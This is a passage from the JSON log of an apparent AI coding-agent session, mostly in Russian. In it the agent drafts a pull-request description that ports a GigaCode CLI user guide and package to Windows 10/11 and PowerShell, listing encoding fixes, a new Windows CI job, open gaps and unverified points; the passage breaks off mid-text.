null,\n[2026-09-29T08:02:29.858Z] [INFO]     \"usage\": {\n[2026-09-29T08:02:29.858Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T08:02:29.858Z] [INFO]       \"cache_creation_input_tokens\": 626,\n[2026-09-29T08:02:29.858Z] [INFO]       \"cache_read_input_tokens\": 82402,\n[2026-09-29T08:02:29.858Z] [INFO]       \"cache_creation\": {\n[2026-09-29T08:02:29.858Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T08:02:29.858Z] [INFO]         \"ephemeral_1h_input_tokens\": 626\n[2026-09-29T08:02:29.858Z] [INFO]       },\n[2026-09-29T08:02:29.858Z] [INFO]       \"output_tokens\": 5,\n[2026-09-29T08:02:29.858Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T08:02:29.858Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T08:02:29.858Z] [INFO]     },\n[2026-09-29T08:02:29.858Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T08:02:29.858Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T08:02:29.858Z] [INFO]     \"context_management\": null\n[2026-09-29T08:02:29.858Z] [INFO]   },\n[2026-09-29T08:02:29.858Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T08:02:29.858Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:02:29.858Z] [INFO]   \"uuid\": \"a56ef021-89d9-4c20-b9b3-489006baaa14\",\n[2026-09-29T08:02:29.858Z] [INFO]   \"timestamp\": \"2026-09-29T08:02:29.847Z\",\n[2026-09-29T08:02:29.858Z] [INFO]   \"request_id\": \"req_011CfXP4D6AJBzSJguEVzoBb\"\n[2026-09-29T08:02:29.858Z] [INFO] }\n[2026-09-29T08:02:29.868Z] [INFO] {\n[2026-09-29T08:02:29.868Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T08:02:29.868Z] [INFO]   \"message\": {\n[2026-09-29T08:02:29.868Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T08:02:29.868Z] [INFO]     \"id\": \"msg_011CfXP4DXhgFUMJfjBYJLKY\",\n[2026-09-29T08:02:29.868Z] [INFO]     \"type\": \"message\",\n[2026-09-29T08:02:29.868Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T08:02:29.868Z] [INFO]     \"content\": [\n[2026-09-29T08:02:29.868Z] [INFO]       {\n[2026-09-29T08:02:29.868Z] [INFO]         \"type\": \"text\",\n[2026-09-29T08:02:29.868Z] [INFO]         \"text\": \"There are no new comments and main hasn't moved. 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#628/#636. \u042d\u0442\u043e \u0442\u0435 \u0436\u0435 \u0441\u0435\u043c\u044c \u0444\u0430\u0439\u043b\u043e\u0432, \u0442\u0435 \u0436\u0435 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0438 \u0438 \u043f\u043e\u0440\u044f\u0434\u043e\u043a \u0447\u0442\u0435\u043d\u0438\u044f, \u0431\u043b\u043e\u043a\u0438 \u00ab\u0413\u0434\u0435 / \u041a\u043e\u043c\u0430\u043d\u0434\u0430 / \u041e\u0436\u0438\u0434\u0430\u0435\u043c\u044b\u0439 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 / \u041f\u0440\u043e\u0432\u0435\u0440\u044c\u0442\u0435\u00bb, \u043e\u0433\u043b\u0430\u0432\u043b\u0435\u043d\u0438\u044f, \u043d\u0430\u0432\u0438\u0433\u0430\u0446\u0438\u044f \u0432\u043d\u0438\u0437\u0443 \u0438 \u0433\u043b\u043e\u0441\u0441\u0430\u0440\u0438\u0439 \u0441 \u044f\u043a\u043e\u0440\u044f\u043c\u0438 `#term-\u2026`.\\n\\n**\u0426\u0435\u043b\u0435\u0432\u0430\u044f \u0441\u0440\u0435\u0434\u0430 \u2014 \u0442\u043e\u043b\u044c\u043a\u043e Windows 10/11 (x64)**, \u043f\u043e [\u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u044e \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/641). \u041a\u043e\u043c\u0430\u043d\u0434\u043d\u0430\u044f \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0430 \u2014 Windows PowerShell 5.1 \u0438\u043b\u0438 PowerShell 7, Python 3.10+ \u0441 python.org, Git for Windows. \u0420\u0430\u0431\u043e\u0442\u0430 \u0438\u0434\u0451\u0442 \u0432 \u0434\u0432\u0443\u0445 \u043e\u043a\u043d\u0430\u0445 PowerShell: A \u2014 \u0434\u0438\u0430\u043b\u043e\u0433 \u0441 GigaCode, B \u2014 runner `python tools/run-task.py`.\\n- \u0412\u0441\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0432 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438, `README.md`, `AGENTS.md` \u0438 \u043d\u0430\u0432\u044b\u043a\u0430\u0445 \u043f\u0430\u043a\u0435\u0442\u0430 \u0437\u0430\u043f\u0438\u0441\u0430\u043d\u044b \u043a\u0430\u043a \u0431\u043b\u043e\u043a\u0438 `powershell`. \u041f\u0443\u0442\u0438 \u043d\u0430\u0447\u0438\u043d\u0430\u044e\u0442\u0441\u044f \u0441 `$env:USERPROFILE\\\\bcreq-pilot\\\\\u2026`. \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f `python` (\u043d\u0435 `python3`) \u0438 `python tools/run-task.py` / `python tools/validate-package.py` \u0432\u043c\u0435\u0441\u0442\u043e sh-\u043e\u0431\u0451\u0440\u0442\u043e\u043a. \u041e\u0431\u0451\u0440\u0442\u043a\u0438 `tools/run-task` \u0438 `tools/validate-package.sh` \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u043b\u044f CI \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f-\u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430.\\n- \u0412 `02-install.md` \u043e\u043f\u0438\u0441\u0430\u043d\u044b \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0449\u0438\u043a\u0438 Git for Windows \u0438 Python (\u00abAdd python.exe to PATH\u00bb) \u0438 \u0442\u0438\u043f\u0438\u0447\u043d\u044b\u0435 \u043e\u0448\u0438\u0431\u043a\u0438 Windows: \u0437\u0430\u0433\u043b\u0443\u0448\u043a\u0430 Microsoft Store, ExecutionPolicy \u0434\u043b\u044f `gigacode`, \u00ab\u043d\u0435 \u0440\u0430\u0441\u043f\u043e\u0437\u043d\u0430\u043d\u043e \u043a\u0430\u043a \u0438\u043c\u044f \u043a\u043e\u043c\u0430\u043d\u0434\u043b\u0435\u0442\u0430\u00bb.\\n- \u0412 `03-deploy-package.md` \u043f\u0430\u043a\u0435\u0442 \u0431\u0435\u0440\u0451\u0442\u0441\u044f \u043a\u043b\u043e\u043d\u043e\u043c \u0438\u043b\u0438 \u043a\u043e\u043f\u0438\u0435\u0439 `Copy-Item`, \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438 \u0441\u0442\u0430\u0432\u044f\u0442\u0441\u044f \u0447\u0435\u0440\u0435\u0437 `python -m pip`. \u0422\u0430\u043c \u0436\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u044b KB \u0432 `kb-source\\\\`, `.gigacode\\\\settings.json` \u0447\u0435\u0440\u0435\u0437 `notepad` \u0438 `$env:CONFLUENCE_TOKEN`.\\n- \u0412 `05-commands-reference.md` \u0437\u0430\u043f\u0435\u0447\u0430\u0442\u044b\u0432\u0430\u043d\u0438\u0435 Working \u0437\u0430\u043f\u0438\u0441\u0430\u043d\u043e \u043a\u0430\u043a here-string `@'\u2026'@ | python -`, \u0447\u0442\u0435\u043d\u0438\u0435 trace \u2014 \u0447\u0435\u0440\u0435\u0437 `Get-Content -Encoding UTF8 -Tail 1`. \u041e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0430\u043a\u0435\u0442\u0430 \u2014 `git -C source-lab pull` \u043f\u043b\u044e\u0441 `Copy-Item -Recurse -Force`; \u044d\u0442\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442 \u0438 \u0441\u043a\u0440\u044b\u0442\u0443\u044e \u043f\u0430\u043f\u043a\u0443 `.gigacode`.\\n\\n\u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0430\u043a\u0435\u0442\u0430, \u0431\u0435\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438 \u043d\u0430 Windows \u043d\u0435 \u043f\u0440\u043e\u0445\u043e\u0434\u044f\u0442. \u041a\u0430\u0436\u0434\u043e\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e \u0442\u0435\u0441\u0442\u043e\u043c \u043d\u0430 Windows-\u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445:\\n- `.gitattributes` (`* -text`) \u0432 \u043f\u0430\u043a\u0435\u0442\u0435. \u0411\u0435\u0437 \u043d\u0435\u0433\u043e Git for Windows (`core.autocrlf=true`) \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0435\u0442 LF \u0432 CRLF, \u0438 `G-mach` \u043e\u0442\u043a\u043b\u043e\u043d\u044f\u0435\u0442 \u043a\u043b\u043e\u043d \u043f\u043e \u0445\u044d\u0448\u0430\u043c \u043c\u0430\u043d\u0438\u0444\u0435\u0441\u0442\u0430.\\n- `validate-package.py` \u0438 `bcreq_pipeline.py` \u0447\u0438\u0442\u0430\u044e\u0442 \u0444\u0430\u0439\u043b\u044b \u043a\u0430\u043a `utf-8-sig`. Windows PowerShell 5.1 (`Set-Content -Encoding UTF8`) \u0438 \u0411\u043b\u043e\u043a\u043d\u043e\u0442 \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u044e\u0442 BOM.\\n- `validate-package.py` \u043f\u0440\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442 `.git/` \u043a\u043b\u043e\u043d\u0430 runtime-\u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f.\\n- `run-task.py` \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442 `G-mach` \u0441 `PYTHONIOENCODING=utf-8`. `validate-package.py`, `bcreq_pipeline.py` \u0438 `run-task.py` \u043f\u0440\u0438 \u0432\u044b\u0432\u043e\u0434\u0435 \u0432 \u043a\u0430\u043d\u0430\u043b \u0437\u0430\u043c\u0435\u043d\u044f\u044e\u0442 \u0441\u0438\u043c\u0432\u043e\u043b\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043d\u0435\u0442 \u0432 ANSI-\u043a\u043e\u0434\u043e\u0432\u043e\u0439 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0435, \u043d\u0430 escape-\u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438, \u0430 \u043d\u0435 \u043f\u0430\u0434\u0430\u044e\u0442 \u0441 `UnicodeEncodeError`. \u042d\u0442\u043e \u043d\u0430\u0448\u043b\u0430 CI-\u0437\u0430\u0434\u0430\u0447\u0430 `windows-guides`: \u0442\u0430\u043c \u0441\u0442\u043e\u0438\u0442 cp1252.\\n\\nGigaCode-\u043f\u0430\u043a\u0435\u0442 \u043d\u0435 \u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0438\u0437 Source, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043f\u0440\u0430\u0432\u043a\u0438 \u0432\u043d\u0435\u0441\u0435\u043d\u044b \u043f\u0440\u044f\u043c\u043e \u0432 `dist/`. `outputs.hashes` \u0432 `package-manifest.yaml` \u043f\u0435\u0440\u0435\u0441\u0447\u0438\u0442\u0430\u043d \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u043c `experiments/issue_638_update_manifest_hashes.py`.\\n\\n| \u0414\u043e\u043a\u0443\u043c\u0435\u043d\u0442 | \u0427\u0442\u043e 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\u043c\u0435\u0442\u0440\u0438\u043a\u0438, \u0441\u0431\u0440\u043e\u0441 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 |\\n| `05-commands-reference.md` | \u041a\u043e\u043c\u0430\u043d\u0434\u044b \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u043c \u044f\u0437\u044b\u043a\u043e\u043c, \u00ab\u0417\u0430\u043f\u0435\u0447\u0430\u0442\u0430\u0442\u044c Working\u00bb, \u00ab\u043e\u0434\u0438\u043d TASK ID \u2014 \u043e\u0434\u0438\u043d \u043f\u0440\u043e\u0433\u043e\u043d\u00bb, \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0430\u043a\u0435\u0442\u0430, \u0447\u0442\u0435\u043d\u0438\u0435 trace, \u043f\u0430\u043f\u043a\u0438 \u043f\u0430\u043a\u0435\u0442\u0430, \u0440\u0435\u0436\u0438\u043c \u043e\u0442\u043b\u0430\u0434\u043a\u0438, \u0447\u0435\u0433\u043e \u0432 \u043f\u0438\u043b\u043e\u0442\u0435 \u043d\u0435\u0442 |\\n| `06-working-with-gigacode.md` | \u0420\u0435\u0430\u043b\u044c\u043d\u0430\u044f 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Windows-\u0443\u0441\u043b\u043e\u0432\u0438\u0439 runner |\\n| `.github/workflows/validate.yml` | \u041d\u043e\u0432\u0430\u044f \u0437\u0430\u0434\u0430\u0447\u0430 `windows-guides` (`windows-latest`, \u043c\u0430\u0442\u0440\u0438\u0446\u0430 `powershell` / `pwsh`); \u0432 \u043f\u0440\u0435\u0436\u043d\u0435\u0439 \u0437\u0430\u0434\u0430\u0447\u0435 `validate` \u0437\u0430\u0434\u0430\u043d `GUIDE_SHELL: pwsh`, \u0447\u0442\u043e\u0431\u044b \u0442\u0435\u0441\u0442 \u043d\u0435 \u043f\u0440\u043e\u043f\u0443\u0441\u043a\u0430\u043b\u0441\u044f |\\n| `ops/backlog.md` | \u0421\u043f\u0440\u0438\u043d\u0442 27, \u0437\u0430\u0434\u0430\u0447\u0438 B-219\u2026B-221 (TODO) \u0438 B-222 (DONE \u0434\u043b\u044f Windows 10/11); \u0432\u0435\u0440\u0441\u0438\u044f 1.68 \u0438 \u0435\u0451 \u0444\u0438\u043a\u0441\u0430\u0446\u0438\u044f \u0432 `validate-repository-structure.sh` |\\n\\n\u041d\u0430\u0439\u0434\u0435\u043d\u043e \u043f\u0440\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0435 \u0438 \u0443\u0447\u0442\u0435\u043d\u043e \u0432 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438:\\n- \u0435\u0441\u043b\u0438 \u0441\u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u0442\u044c KB \u0438\u0437 runtime-\u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f \u0432 `docs/kb/` \u0446\u0435\u043b\u0438\u043a\u043e\u043c, \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043f\u0430\u043a\u0435\u0442\u0430 \u043f\u0430\u0434\u0430\u0435\u0442: \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f \u043d\u0435 \u0447\u0438\u0442\u0430\u044e\u0442\u0441\u044f \u043a\u0430\u043a \u0442\u0435\u043a\u0441\u0442, \u0430 `index.md` \u0441\u0441\u044b\u043b\u0430\u0435\u0442\u0441\u044f \u043d\u0430 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u044b \u0438\u0441\u0445\u043e\u0434\u043d\u043e\u0433\u043e \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 KB \u0445\u0440\u0430\u043d\u0438\u0442\u0441\u044f \u0440\u044f\u0434\u043e\u043c \u0441 \u043f\u0430\u043a\u0435\u0442\u043e\u043c, \u0430 \u0432 `docs/kb/` \u043a\u043b\u0430\u0434\u0443\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0435 \u0441\u0442\u0430\u0442\u044c\u0438;\\n- \u0447\u0435\u0440\u0435\u0437 `!` \u0432 GigaCode \u043f\u0435\u0440\u0435\u0445\u043e\u0434 \u0441 G-human \u043d\u0435 \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 (`human gate requires an interactive terminal`), \u043f\u043e\u044d\u0442\u043e\u043c\u0443 runner \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f \u0432 \u043e\u043a\u043d\u0435 B;\\n- \u043b\u044e\u0431\u043e\u0439 \u043e\u0442\u043a\u0430\u0437 runner \u043f\u0435\u0440\u0435\u0432\u043e\u0434\u0438\u0442 \u0437\u0430\u0434\u0430\u0447\u0443 \u0432 `blocked`, \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0438\u0442\u044c \u0435\u0451 \u043d\u0435\u043b\u044c\u0437\u044f \u2014 \u043e\u0442\u0441\u044e\u0434\u0430 \u043f\u0440\u0430\u0432\u0438\u043b\u043e \u00ab\u043e\u0434\u0438\u043d TASK ID \u2014 \u043e\u0434\u0438\u043d \u043f\u0440\u043e\u0433\u043e\u043d\u00bb.\\n\\n## \u0420\u0430\u0437\u0440\u044b\u0432\u044b\\n| \u2116 | \u0420\u0430\u0437\u0440\u044b\u0432 | \u0420\u0435\u0448\u0435\u043d\u0438\u0435 |\\n|---|---|---|\\n| ~~\u041e-1~~ | ~~\u041a\u043e\u043c\u0430\u043d\u0434\u044b \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u044b \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0430 Linux~~ | **\u0421\u043d\u044f\u0442 \u0432 \u044d\u0442\u043e\u043c PR** (B-222 DONE): \u0446\u0435\u043b\u0435\u0432\u0430\u044f \u0441\u0440\u0435\u0434\u0430 \u2014 Windows 10/11, \u0432\u0441\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0432 PowerShell \u0438 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u044e\u0442\u0441\u044f \u0432 CI \u043d\u0430 Windows PowerShell 5.1 \u0438 PowerShell 7. \u041d\u043e\u043c\u0435\u0440 \u043d\u0435 \u043f\u0435\u0440\u0435\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f |\\n| \u041e-2 | GigaCode \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d \u0442\u043e\u043b\u044c\u043a\u043e \u0443\u0447\u0430\u0441\u0442\u043d\u0438\u043a\u0430\u043c \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 GitVerse \u0441 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0451\u043d\u043d\u044b\u043c GigaCode | \u2014 (\u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0435) |\\n| \u041e-3 | `rg-bcreq-v1-dispatcher` \u0432\u0435\u0434\u0451\u0442 \u0440\u0443\u0447\u043d\u043e\u0439 \u0436\u0443\u0440\u043d\u0430\u043b \u0438 \u043d\u0435 \u043c\u0435\u043d\u044f\u0435\u0442 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 runner | B-221 |\\n| \u041e-4 | \u0412 \u043f\u0430\u043a\u0435\u0442\u0435 \u043d\u0435\u0442 \u0443\u0447\u0435\u0431\u043d\u043e\u0433\u043e \u0432\u0445\u043e\u0434\u0430 A-IN \u0434\u043b\u044f `TASK-0001`; \u043e\u043d \u0434\u0430\u043d \u0442\u0435\u043a\u0441\u0442\u043e\u043c \u0432 `04` | B-220 |\\n| \u041e-5 | G-human \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0438\u043d\u0442\u0435\u0440\u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0439 \u0442\u0435\u0440\u043c\u0438\u043d\u0430\u043b | \u2014 (\u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e runner, \u0442\u0430\u043a \u0437\u0430\u0434\u0443\u043c\u0430\u043d\u043e; \u0432 Windows \u044d\u0442\u043e \u043e\u0431\u044b\u0447\u043d\u043e\u0435 \u043e\u043a\u043d\u043e PowerShell) |\\n| \u041e-6 | \u041e\u0442\u043a\u0430\u0437 runner \u043d\u0435\u043e\u0431\u0440\u0430\u0442\u0438\u043c\u043e \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u0435\u0442 \u0437\u0430\u0434\u0430\u0447\u0443 | \u2014 (\u043f\u0440\u0430\u0432\u0438\u043b\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u00ab\u043e\u0434\u0438\u043d TASK ID \u2014 \u043e\u0434\u0438\u043d \u043f\u0440\u043e\u0433\u043e\u043d\u00bb, \u043e\u0442 \u041e\u0421 \u043d\u0435 \u0437\u0430\u0432\u0438\u0441\u0438\u0442; \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u043e \u043d\u0430 Windows \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043e \u0442\u0435\u0441\u0442\u043e\u043c) |\\n| \u041e-7 | \u041f\u043e\u043b\u043d\u0430\u044f \u043a\u043e\u043f\u0438\u044f KB \u0432 `docs/kb/` \u043b\u043e\u043c\u0430\u0435\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u043f\u0430\u043a\u0435\u0442\u0430 | \u2014 (\u043e\u0431\u0445\u043e\u0434 \u0432 `03`) |\\n| \u041e-8 | \u041d\u0435\u0442 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0437\u0430\u043f\u0435\u0447\u0430\u0442\u044b\u0432\u0430\u043d\u0438\u044f Working; \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0439 \u0431\u043b\u043e\u043a PowerShell \u0432 `05` | B-219 (\u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 B-199 \u0434\u043b\u044f Cline) |\\n| \u041e-9 | \u041d\u0435\u0442 \u043d\u0430\u0432\u044b\u043a\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u0435\u0434\u0451\u0442 \u0437\u0430\u0434\u0430\u0447\u0443 \u043f\u043e \u0443\u0437\u043b\u0430\u043c; \u043f\u043e\u0440\u044f\u0434\u043e\u043a \u0434\u0435\u0440\u0436\u0438\u0442 \u0441\u0442\u0430\u0440\u0442\u043e\u0432\u0430\u044f \u0444\u0440\u0430\u0437\u0430 | B-221 |\\n| \u041e-10 | \u041d\u0430\u0432\u044b\u043a\u0438 \u0443\u0437\u043b\u043e\u0432 \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u044e\u0442 Markdown, \u0430 runner \u043d\u0430 `n12`/`n13` \u0442\u0440\u0435\u0431\u0443\u0435\u0442 JSON Working/Release | B-220 |\\n\\nB-200 (hooks Cline \u043d\u0430 Windows, \u041e-3 Cline-\u043f\u0430\u043a\u0435\u0442\u0430) \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0441\u044f \u043a \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f\u043c Cline (#636). \u041f\u043e \u0440\u0435\u0448\u0435\u043d\u0438\u044e \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430 \u043e\u043d\u0438 \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u043c\u0438 \u0437\u0430\u0434\u0430\u0447\u0430\u043c\u0438, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0432 \u044d\u0442\u043e\u043c PR B-200 \u043d\u0435 \u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f.\\n\\n\u041d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043e \u0438 \u043f\u043e\u043c\u0435\u0447\u0435\u043d\u043e \u0432 \u0442\u0435\u043a\u0441\u0442\u0435:\\n- \u0441\u0430\u043c GigaCode CLI \u0432 CI \u043d\u0435 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f: \u0432\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0438 \u0440\u0435\u0436\u0438\u043c\u044b \u0441\u0432\u0435\u0440\u0435\u043d\u044b \u0441 [\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0435\u0439 GitVerse](https://gitverse.ru/docs/ai/ai-assistant-gigacode/gigacode-cli/commands); `/context` \u0438 `/copy` \u0443\u0431\u0440\u0430\u043d\u044b, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u0442\u044c \u0438\u0445 \u043d\u0435 \u0443\u0434\u0430\u043b\u043e\u0441\u044c;\\n- \u043c\u043e\u0436\u0435\u0442 \u043b\u0438 GigaCode \u0447\u0438\u0442\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u0432\u043d\u0435 \u043f\u0430\u043f\u043a\u0438 \u043f\u0430\u043a\u0435\u0442\u0430 (\u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f \u043f\u0440\u043e\u0441\u0438\u0442 \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438 \u0432 `runs\\\\TASK-ID\\\\evidence\\\\sources\\\\`);\\n- \u043e\u0442\u0432\u0435\u0442 GigaCode \u043d\u0430 \u0432\u043e\u043f\u0440\u043e\u0441 \u043e\u0431 `AGENTS.md` \u0432 `03` \u2014 \u044d\u0442\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043f\u043e \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0443 \u0444\u0430\u0439\u043b\u0430, \u043d\u043e \u0442\u043e, \u0447\u0442\u043e GigaCode \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u0442 `AGENTS.md` \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438, \u043d\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u043e.\",\n[2026-09-29T08:02:33.256Z] [INFO]         \"is_error\": false\n[2026-09-29T08:02:33.256Z] [INFO]       }\n[2026-09-29T08:02:33.256Z] [INFO]     ]\n[2026-09-29T08:02:33.256Z] [INFO]   },\n[2026-09-29T08:02:33.256Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T08:02:33.256Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:02:33.256Z] [INFO]   \"uuid\": \"78def214-01d9-4086-a9e8-f6ec0d5d60c5\",\n[2026-09-29T08:02:33.256Z] [INFO]   \"timestamp\": \"2026-09-29T08:02:33.181Z\",\n[2026-09-29T08:02:33.256Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T08:02:33.256Z] [INFO]     \"stdout\": \"[docs] GigaCode CLI: \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f \u0411\u0410 \u043f\u0435\u0440\u0435\u0440\u0430\u0431\u043e\u0442\u0430\u043d\u0430 \u0432 \u043a\u043b\u0430\u0441\u0442\u0435\u0440 docs/guides \u043f\u043e \u043e\u0431\u0440\u0430\u0437\u0446\u0443 Cline\\nCloses #638\\n\\n## \u0427\u0442\u043e \u0441\u0434\u0435\u043b\u0430\u043d\u043e\\n\u0418\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f GigaCode-\u043f\u0430\u043a\u0435\u0442\u0430 `junior-guide.md` (\u043e\u0434\u043d\u0430 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0430) \u043f\u0435\u0440\u0435\u0440\u0430\u0431\u043e\u0442\u0430\u043d\u0430 \u0432 \u043a\u043b\u0430\u0441\u0442\u0435\u0440 `docs/guides/` \u0441 \u0442\u043e\u0439 \u0436\u0435 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043e\u0439, \u0447\u0442\u043e \u0443 Cline-\u043f\u0430\u043a\u0435\u0442\u0430 \u043f\u043e\u0441\u043b\u0435 #628/#636. \u042d\u0442\u043e \u0442\u0435 \u0436\u0435 \u0441\u0435\u043c\u044c \u0444\u0430\u0439\u043b\u043e\u0432, \u0442\u0435 \u0436\u0435 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0438 \u0438 \u043f\u043e\u0440\u044f\u0434\u043e\u043a \u0447\u0442\u0435\u043d\u0438\u044f, \u0431\u043b\u043e\u043a\u0438 \u00ab\u0413\u0434\u0435 / \u041a\u043e\u043c\u0430\u043d\u0434\u0430 / \u041e\u0436\u0438\u0434\u0430\u0435\u043c\u044b\u0439 